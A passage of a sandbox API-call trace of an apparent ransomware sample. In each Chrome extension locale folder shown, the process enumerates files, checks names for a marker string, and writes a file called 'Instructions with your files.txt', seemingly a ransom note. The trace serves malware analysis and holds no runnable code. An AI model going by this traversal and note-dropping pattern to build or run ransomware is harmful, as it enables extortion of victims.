[0129.806] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur") returned 141
[0129.806] GetProcessHeap () returned 0x810000
[0129.806] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.806] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\*") returned 143
[0129.806] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.807] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\.") returned 143
[0129.807] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.807] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\..") returned 144
[0129.807] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x177, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.807] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned 155
[0129.807] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.807] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x177, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.807] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\Instructions with your files.txt") returned 174
[0129.807] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.808] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.808] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.808] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.809] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.809] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.809] CloseHandle (hObject=0x134) returned 1
[0129.809] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.809] GetProcessHeap () returned 0x810000
[0129.809] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.809] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
[0129.809] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi") returned 141
[0129.809] GetProcessHeap () returned 0x810000
[0129.809] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.809] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\*") returned 143
[0129.809] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.809] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\.") returned 143
[0129.809] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.809] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\..") returned 144
[0129.809] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.810] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned 155
[0129.810] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.810] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.810] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\Instructions with your files.txt") returned 174
[0129.810] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.810] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.811] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.811] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.811] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.811] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.811] CloseHandle (hObject=0x134) returned 1
[0129.811] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.811] GetProcessHeap () returned 0x810000
[0129.811] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.811] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1
[0129.811] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN") returned 144
[0129.812] GetProcessHeap () returned 0x810000
[0129.812] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.812] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\*") returned 146
[0129.812] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.812] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\.") returned 146
[0129.813] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.813] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\..") returned 147
[0129.813] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.813] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned 158
[0129.813] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.813] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.813] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\Instructions with your files.txt") returned 177
[0129.813] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.813] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.814] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.814] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.814] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.814] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.814] CloseHandle (hObject=0x134) returned 1
[0129.815] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.815] GetProcessHeap () returned 0x810000
[0129.815] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.815] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_HK", cAlternateFileName="")) returned 1
[0129.815] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK") returned 144
[0129.815] GetProcessHeap () returned 0x810000
[0129.815] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.815] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\*") returned 146
[0129.815] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.815] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\.") returned 146
[0129.815] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.815] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\..") returned 147
[0129.815] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.815] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned 158
[0129.815] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
